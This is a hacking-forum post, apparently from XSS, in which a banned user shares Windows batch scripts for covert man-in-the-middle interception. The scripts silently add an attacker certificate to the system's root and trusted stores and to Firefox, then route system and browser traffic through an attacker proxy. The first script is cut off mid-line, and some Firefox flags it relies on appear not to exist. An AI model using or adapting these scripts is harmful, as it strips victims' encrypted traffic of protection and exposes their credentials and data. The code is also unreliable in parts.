• XSS.stack #1 – первый литературный журнал от юзеров форума

MITM - Script to silently install certificate in PC and Firefox Browser remotely for data interception

infernalhacker

CD-диск
Забанен
Регистрация
15.12.2022
Сообщения
13
Реакции
9
Пожалуйста, обратите внимание, что пользователь заблокирован
This code will silently install MITM certificates into root and trusted publisher Authority stores for browser and network traffic interception. It also sets system proxy settings to your MITM host. Once achieved, can make your work a lot smoother and easier.
I'll give a slightly modified version with an extended function later.


Bash:
@echo off
set certUrl=https://example.com/certificate.cer
set proxyIp=192.168.1.1
set proxyPort=8080

rem Install certificate into Root Authority store
certutil -addstore -f "Root" %certUrl%

rem Install certificate into Trusted Publishers store
certutil -addstore -f "TrustedPublisher" %certUrl%

rem Install certificate into Intermediate Certificate Authority store
certutil -addstore -f "CA" %certUrl%

rem Import certificate into Firefox
"C:\Program Files\Mozilla Firefox\firefox.exe" -silent -setDefaultBrowser -importcert %certUrl%

rem Enable and set system proxy settings
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d "%proxyIp%:%proxyPort%" /f

rem Enable and set Firefox proxy settings
"C:\Program Files\Mozilla Firefox\firefox.exe" -silent -setDefaultBrowser -pref "network.proxy.type=1" -pref "network.proxy.http=%proxyIp%" -pref "network.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
below is an optimized and improved version that checks if firefox is installed.



Bash:
@echo off
set proxyIp=192.168.1.1
set proxyPort=8080

set firefoxInstalled=0
REM Check if firefox is installed
FOR /F %%a IN ('where /R "C:\Program Files\Mozilla Firefox" firefox.exe') DO (
  set firefoxInstalled=1
)

REM Install and set system proxy settings if firefox is installed
IF %firefoxInstalled% == 1 (
  set certUrl=https://example.com/certificate.cer
  certutil -addstore -f "Root" -addstore -f "TrustedPublisher" -addstore -f "CA" %certUrl%
  "C:\Program Files\Mozilla Firefox\firefox.exe" -silent -setDefaultBrowser -importcert %certUrl% -pref "network.proxy.type=1" -pref "network.proxy.http=%proxyIp%" -pref "network.proxy.ssl=%proxyIp%" -pref "network.proxy.ftp=%proxyIp%" -pref "network.proxy.socks=%proxyIp%" -pref "network.proxy.socks_port=%proxyPort%"
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d "%proxyIp%:%proxyPort%" /f
)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх